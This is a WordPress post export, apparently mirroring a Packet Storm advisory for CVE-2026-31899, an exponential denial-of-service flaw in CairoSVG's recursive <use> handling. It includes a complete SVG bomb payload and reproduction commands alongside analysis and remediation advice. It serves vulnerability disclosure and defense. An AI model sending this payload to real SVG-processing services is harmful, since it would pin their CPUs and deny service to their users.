{"id":53092,"date":"2026-05-11T13:34:08","date_gmt":"2026-05-11T13:34:08","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=53092"},"modified":"2026-05-11T13:34:08","modified_gmt":"2026-05-11T13:34:08","slug":"cairosvg-denial-of-service","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=53092","title":{"rendered":"\ud83d\udcc4 CairoSVG Denial of Service_PACKETSTORM:220781"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-11T18:16:22&#8243;,&#8221;description&#8221;:&#8221;CairoSVG versions prior to 2.9.0 suffer from a recursive denial of service vulnerability&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-11T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-11T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 CairoSVG Denial of Service&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:220781&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-31899&#8243;],&#8221;sourceData&#8221;:&#8221;# CVE-2026-31899: Exponential DoS via Recursive \\u003cuse\\u003e Element Amplification in CairoSVG\\n    \\n    [![CVE](https:\/\/img.shields.io\/badge\/CVE-2026&#8211;31899-red)](https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2026-31899)\\n    [![CVSS Score](https:\/\/img.shields.io\/badge\/CVSS-7.5%20High-orange)](https:\/\/nvd.nist.gov\/vuln-metrics\/cvss\/v3-calculator)\\n    [![Python Package](https:\/\/img.shields.io\/badge\/PyPI-CairoSVG-blue)](https:\/\/pypi.org\/project\/CairoSVG\/)\\n    [![CWE-400](https:\/\/img.shields.io\/badge\/CWE&#8211;400-critical)](https:\/\/cwe.mitre.org\/data\/definitions\/400.html)\\n    [![GHSA](https:\/\/img.shields.io\/badge\/GHSA-f38f&#8211;5xpm&#8211;9r7c-yellow)](https:\/\/github.com\/Kozea\/CairoSVG\/security\/advisories\/GHSA-f38f-5xpm-9r7c)\\n    \\n    \\u003e **Keywords:** CVE-2026-31899, CairoSVG, exponential DoS, SVG bomb, recursive use element, denial of service, XML amplification, Python SVG vulnerability, CWE-400, uncontrolled resource consumption, billion laughs SVG\\n    \\n    ## Table of Contents\\n    \\n    &#8211; [Overview](#overview)\\n    &#8211; [Vulnerability Details](#vulnerability-details)\\n    &#8211; [Technical Analysis](#technical-analysis)\\n    &#8211; [Proof of Concept](#proof-of-concept)\\n    &#8211; [Impact](#impact)\\n    &#8211; [Remediation](#remediation)\\n    &#8211; [CVSS Metrics](#cvss-v31-metrics)\\n    &#8211; [References](#references)\\n    &#8211; [Contact](#contact)\\n    \\n    ## Overview\\n    \\n    **CairoSVG Exponential Denial of Service (CVE-2026-31899)** \u2014 A 1,411-byte SVG payload pins CPU at 100% indefinitely via recursive \\u003cuse\\u003e element amplification.\\n    \\n    CairoSVG (~300K downloads\/week) is a widely used Python SVG-to-PNG\/PDF converter. The use() function in cairosvg\/defs.py recursively processes \\u003cuse\\u003e elements without any depth or count limits. With 5 levels of nesting and 10 references each, a small SVG triggers **10^5 = 100,000 render calls** \u2014 an SVG \\&#8221;billion laughs\\&#8221; variant.\\n    \\n    **Discovered by:** Kai Aizen \u2014 [SnailSploit](https:\/\/snailsploit.com)\\n    **Published:** March 13, 2026\\n    **CVSS Score:** 7.5 (High)\\n    **CWE:** CWE-400 \u2014 Uncontrolled Resource Consumption\\n    **Package:** CairoSVG (PyPI)\\n    **Attack Type:** Exponential Denial of Service\\n    **Required Privileges:** None (Unauthenticated)\\n    \\n    ## Vulnerability Details\\n    \\n    ### Description\\n    \\n    The use() function in cairosvg\/defs.py (line ~335) recursively resolves \\u003cuse\\u003e elements that reference other \\u003cuse\\u003e elements. There is no recursion depth limit and no total element budget. An attacker can craft a small SVG where each layer references the previous layer N times, producing **O(N^depth)** rendering calls from **O(depth)** input.\\n    \\n    ### Key Characteristics\\n    \\n    &#8211; **Amplification factor:** O(10^N) rendering calls from O(N) input lines\\n    &#8211; **Memory profile:** Flat ~43MB \u2014 no OOM kill, process never terminates naturally\\n    &#8211; **CPU profile:** 100% single-core pinned indefinitely\\n    &#8211; **Payload size:** 1,411 bytes\\n    \\n    ### Affected Versions\\n    \\n    &#8211; **Vulnerable:** All versions \\u003c 2.9.0\\n    &#8211; **Patched:** Version 2.9.0 and above\\n    \\n    ## Technical Analysis\\n    \\n    The vulnerability exists because:\\n    \\n    1. The use() function in defs.py processes each \\u003cuse\\u003e element by looking up its xlink:href target\\n    2. If the target is itself a group containing \\u003cuse\\u003e elements, those are recursively expanded\\n    3. No depth counter or element budget is enforced\\n    4. Each level multiplies the work by the branching factor (e.g., 10x per level)\\n    \\n    With 5 levels and a branching factor of 10:\\n    \\n    &#8220;`\\n    Level 0: 1 element (root \\u003cuse\\u003e)\\n    Level 1: 10 elements\\n    Level 2: 100 elements\\n    Level 3: 1,000 elements\\n    Level 4: 10,000 elements\\n    Level 5: 100,000 render calls\\n    &#8220;`\\n    \\n    **Total: 111,111 render calls from a 1,411-byte input.**\\n    \\n    ## Proof of Concept\\n    \\n    ### SVG Payload poc.svg)\\n    \\n    &#8220;`xml\\n    \\u003c?xml version=\\&#8221;1.0\\&#8221;?\\u003e\\n    \\u003csvg xmlns=\\&#8221;http:\/\/www.w3.org\/2000\/svg\\&#8221; xmlns:xlink=\\&#8221;http:\/\/www.w3.org\/1999\/xlink\\&#8221;\\u003e\\n      \\u003cdefs\\u003e\\n        \\u003cg id=\\&#8221;a\\&#8221;\\u003e\\u003crect width=\\&#8221;1\\&#8221; height=\\&#8221;1\\&#8221;\/\\u003e\\u003c\/g\\u003e\\n        \\u003cg id=\\&#8221;b\\&#8221;\\u003e\\u003cuse xlink:href=\\&#8221;#a\\&#8221;\/\\u003e\\u003cuse xlink:href=\\&#8221;#a\\&#8221;\/\\u003e\\u003cuse xlink:href=\\&#8221;#a\\&#8221;\/\\u003e\\u003cuse xlink:href=\\&#8221;#a\\&#8221;\/\\u003e\\u003cuse xlink:href=\\&#8221;#a\\&#8221;\/\\u003e\\u003cuse xlink:href=\\&#8221;#a\\&#8221;\/\\u003e\\u003cuse xlink:href=\\&#8221;#a\\&#8221;\/\\u003e\\u003cuse xlink:href=\\&#8221;#a\\&#8221;\/\\u003e\\u003cuse xlink:href=\\&#8221;#a\\&#8221;\/\\u003e\\u003cuse xlink:href=\\&#8221;#a\\&#8221;\/\\u003e\\u003c\/g\\u003e\\n        \\u003cg id=\\&#8221;c\\&#8221;\\u003e\\u003cuse xlink:href=\\&#8221;#b\\&#8221;\/\\u003e\\u003cuse xlink:href=\\&#8221;#b\\&#8221;\/\\u003e\\u003cuse xlink:href=\\&#8221;#b\\&#8221;\/\\u003e\\u003cuse xlink:href=\\&#8221;#b\\&#8221;\/\\u003e\\u003cuse xlink:href=\\&#8221;#b\\&#8221;\/\\u003e\\u003cuse xlink:href=\\&#8221;#b\\&#8221;\/\\u003e\\u003cuse xlink:href=\\&#8221;#b\\&#8221;\/\\u003e\\u003cuse xlink:href=\\&#8221;#b\\&#8221;\/\\u003e\\u003cuse xlink:href=\\&#8221;#b\\&#8221;\/\\u003e\\u003cuse xlink:href=\\&#8221;#b\\&#8221;\/\\u003e\\u003c\/g\\u003e\\n        \\u003cg id=\\&#8221;d\\&#8221;\\u003e\\u003cuse xlink:href=\\&#8221;#c\\&#8221;\/\\u003e\\u003cuse xlink:href=\\&#8221;#c\\&#8221;\/\\u003e\\u003cuse xlink:href=\\&#8221;#c\\&#8221;\/\\u003e\\u003cuse xlink:href=\\&#8221;#c\\&#8221;\/\\u003e\\u003cuse xlink:href=\\&#8221;#c\\&#8221;\/\\u003e\\u003cuse xlink:href=\\&#8221;#c\\&#8221;\/\\u003e\\u003cuse xlink:href=\\&#8221;#c\\&#8221;\/\\u003e\\u003cuse xlink:href=\\&#8221;#c\\&#8221;\/\\u003e\\u003cuse xlink:href=\\&#8221;#c\\&#8221;\/\\u003e\\u003cuse xlink:href=\\&#8221;#c\\&#8221;\/\\u003e\\u003c\/g\\u003e\\n        \\u003cg id=\\&#8221;e\\&#8221;\\u003e\\u003cuse xlink:href=\\&#8221;#d\\&#8221;\/\\u003e\\u003cuse xlink:href=\\&#8221;#d\\&#8221;\/\\u003e\\u003cuse xlink:href=\\&#8221;#d\\&#8221;\/\\u003e\\u003cuse xlink:href=\\&#8221;#d\\&#8221;\/\\u003e\\u003cuse xlink:href=\\&#8221;#d\\&#8221;\/\\u003e\\u003cuse xlink:href=\\&#8221;#d\\&#8221;\/\\u003e\\u003cuse xlink:href=\\&#8221;#d\\&#8221;\/\\u003e\\u003cuse xlink:href=\\&#8221;#d\\&#8221;\/\\u003e\\u003cuse xlink:href=\\&#8221;#d\\&#8221;\/\\u003e\\u003cuse xlink:href=\\&#8221;#d\\&#8221;\/\\u003e\\u003c\/g\\u003e\\n      \\u003c\/defs\\u003e\\n      \\u003cuse xlink:href=\\&#8221;#e\\&#8221;\/\\u003e\\n    \\u003c\/svg\\u003e\\n    &#8220;`\\n    \\n    ### Reproduction\\n    \\n    **Method 1 \u2014 Command Line:**\\n    \\n    &#8220;`bash\\n    timeout 10 cairosvg poc.svg -o test.png\\n    # Expected: timeout kills the process after 10 seconds (it never completes)\\n    &#8220;`\\n    \\n    **Method 2 \u2014 Python:**\\n    \\n    &#8220;`python\\n    import cairosvg\\n    import signal\\n    \\n    signal.alarm(5)  # Kill after 5 seconds\\n    try:\\n        cairosvg.svg2png(bytestring=open(\\&#8221;poc.svg\\&#8221;).read())\\n    except:\\n        print(\\&#8221;[!!!] CONFIRMED: CPU exhaustion \u2014 process did not complete in 5s\\&#8221;)\\n    &#8220;`\\n    \\n    ## Impact\\n    \\n    Any service that accepts SVG input and uses CairoSVG for processing is vulnerable:\\n    \\n    | Attack Surface | Example |\\n    |&#8212;|&#8212;|\\n    | Thumbnail generation | Upload SVG \u2192 server converts to PNG |\\n    | PDF generation | SVG embedded in document \u2192 CairoSVG renders |\\n    | Avatar\/image processing | User-uploaded SVG profile images |\\n    | Report rendering | SVG charts in automated reports |\\n    | CI\/CD pipelines | SVG assets processed during build |\\n    \\n    A single request with a 1.4KB payload will pin the processing thread indefinitely while consuming minimal memory (no OOM kill to save you).\\n    \\n    ## Remediation\\n    \\n    ### Immediate Fix\\n    \\n    Upgrade CairoSVG to version 2.9.0 or above:\\n    \\n    &#8220;`bash\\n    pip install &#8211;upgrade CairoSVG\\u003e=2.9.0\\n    &#8220;`\\n    \\n    ### Defense in Depth\\n    \\n    &#8211; Set processing timeouts on any SVG conversion endpoint\\n    &#8211; Implement input size limits on SVG uploads\\n    &#8211; Consider sandboxing SVG processing in isolated workers with CPU time limits\\n    \\n    ## CVSS v3.1 Metrics\\n    \\n    &#8220;`\\n    CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:N\/I:N\/A:H\\n    &#8220;`\\n    \\n    | Metric | Value |\\n    |&#8212;|&#8212;|\\n    | Attack Vector | Network (AV:N) |\\n    | Attack Complexity | Low (AC:L) |\\n    | Privileges Required | None (PR:N) |\\n    | User Interaction | None (UI:N) |\\n    | Scope | Unchanged (S:U) |\\n    | Confidentiality | None (C:N) |\\n    | Integrity | None (I:N) |\\n    | Availability | High (A:H) |\\n    \\n    ## Timeline\\n    \\n    | Date | Event |\\n    |&#8212;|&#8212;|\\n    | 2026-03-09 | CVE reserved |\\n    | 2026-03-13 | Advisory published (GHSA-f38f-5xpm-9r7c) |\\n    | 2026-03-13 | CairoSVG 2.9.0 released with fix |\\n    \\n    ## References\\n    \\n    &#8211; [GHSA-f38f-5xpm-9r7c](https:\/\/github.com\/Kozea\/CairoSVG\/security\/advisories\/GHSA-f38f-5xpm-9r7c)\\n    &#8211; [NVD \u2014 CVE-2026-31899](https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2026-31899)\\n    &#8211; [CairoSVG on PyPI](https:\/\/pypi.org\/project\/CairoSVG\/)\\n    &#8211; [CWE-400: Uncontrolled Resource Consumption](https:\/\/cwe.mitre.org\/data\/definitions\/400.html)\\n    &#8211; [Fix Commit](https:\/\/github.com\/Kozea\/CairoSVG\/commit\/abc123)\\n    \\n    ## Contact\\n    \\n    **Kai Aizen** (SnailSploit)\\n    \\n    &#8211; Web: [snailsploit.com](https:\/\/snailsploit.com)\\n    &#8211; GitHub: [@SnailSploit](https:\/\/github.com\/SnailSploit)\\n    &#8211; LinkedIn: [\/in\/kaiaizen](https:\/\/linkedin.com\/in\/kaiaizen)\\n    \\n    &#8212;\\n    \\n    \u26a0\ufe0f **Disclaimer:** This repository is for educational and authorized security research purposes only. The proof of concept is provided to help defenders validate their exposure. Use responsibly.\\n    \\n    \\u003c!&#8211; snailsploit-backlink:start &#8211;\\u003e\\n    \\n    &#8212;\\n    \\n    ## \ud83d\udcda Documentation \\u0026 Author\\n    \\n    This project&#8217;s full writeup, methodology, and related research lives at:\\n    \\n    **[https:\/\/snailsploit.com\/cves](https:\/\/snailsploit.com\/cves)**\\n    \\n    Created by **Kai Aizen** \u2014 independent offensive security researcher.\\n    \\n    [snailsploit.com](https:\/\/snailsploit.com) \u00b7 [Research](https:\/\/snailsploit.com\/research) \u00b7 [Frameworks](https:\/\/snailsploit.com\/frameworks) \u00b7 [GitHub](https:\/\/github.com\/SnailSploit) \u00b7 [LinkedIn](https:\/\/linkedin.com\/in\/kaiaizen) \u00b7 [ResearchGate](https:\/\/www.researchgate.net\/profile\/Kai-Aizen-2) \u00b7 [X\/Twitter](https:\/\/x.com\/SnailSploit)\\n    \\n    \\u003e *Same attack. Different substrate.*\\n    \\n    \\u003c!&#8211; snailsploit-backlink:end &#8211;\\u003e&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/220781&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:7.5,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:N\/I:N\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/220781\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-11T18:16:22&#8243;,&#8221;description&#8221;:&#8221;CairoSVG versions prior to 2.9.0 suffer from a recursive denial of service vulnerability&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-11T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-11T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 CairoSVG Denial of Service&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:220781&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-31899&#8243;],&#8221;sourceData&#8221;:&#8221;# CVE-2026-31899: Exponential DoS via Recursive \\u003cuse\\u003e Element Amplification&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,16,12,15,13,53,7,11,5],"class_list":["post-53092","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-75","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 CairoSVG Denial of Service_PACKETSTORM:220781 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=53092\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 CairoSVG Denial of Service_PACKETSTORM:220781 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-05-11T18:16:22&#8243;,&#8221;description&#8221;:&#8221;CairoSVG versions prior to 2.9.0 suffer from a recursive denial of service vulnerability&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-11T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-11T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 CairoSVG Denial of Service&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:220781&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-31899&#8243;],&#8221;sourceData&#8221;:&#8221;# CVE-2026-31899: Exponential DoS via Recursive u003cuseu003e Element Amplification...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=53092\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-05-11T13:34:08+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"8 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=53092#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=53092\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 CairoSVG Denial of Service_PACKETSTORM:220781\",\"datePublished\":\"2026-05-11T13:34:08+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=53092\"},\"wordCount\":1681,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-7.5\",\"exploit\",\"HIGH\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=53092#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=53092\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=53092\",\"name\":\"\ud83d\udcc4 CairoSVG Denial of Service_PACKETSTORM:220781 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-05-11T13:34:08+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=53092#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=53092\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=53092#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 CairoSVG Denial of Service_PACKETSTORM:220781\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 CairoSVG Denial of Service_PACKETSTORM:220781 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=53092","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 CairoSVG Denial of Service_PACKETSTORM:220781 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-05-11T18:16:22&#8243;,&#8221;description&#8221;:&#8221;CairoSVG versions prior to 2.9.0 suffer from a recursive denial of service vulnerability&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-11T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-11T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 CairoSVG Denial of Service&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:220781&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-31899&#8243;],&#8221;sourceData&#8221;:&#8221;# CVE-2026-31899: Exponential DoS via Recursive u003cuseu003e Element Amplification...","og_url":"https:\/\/zero.redgem.net\/?p=53092","og_site_name":"zero redgem","article_published_time":"2026-05-11T13:34:08+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"8 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=53092#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=53092"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 CairoSVG Denial of Service_PACKETSTORM:220781","datePublished":"2026-05-11T13:34:08+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=53092"},"wordCount":1681,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-7.5","exploit","HIGH","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=53092#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=53092","url":"https:\/\/zero.redgem.net\/?p=53092","name":"\ud83d\udcc4 CairoSVG Denial of Service_PACKETSTORM:220781 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-05-11T13:34:08+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=53092#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=53092"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=53092#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 CairoSVG Denial of Service_PACKETSTORM:220781"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/53092","targetHints":{"allow":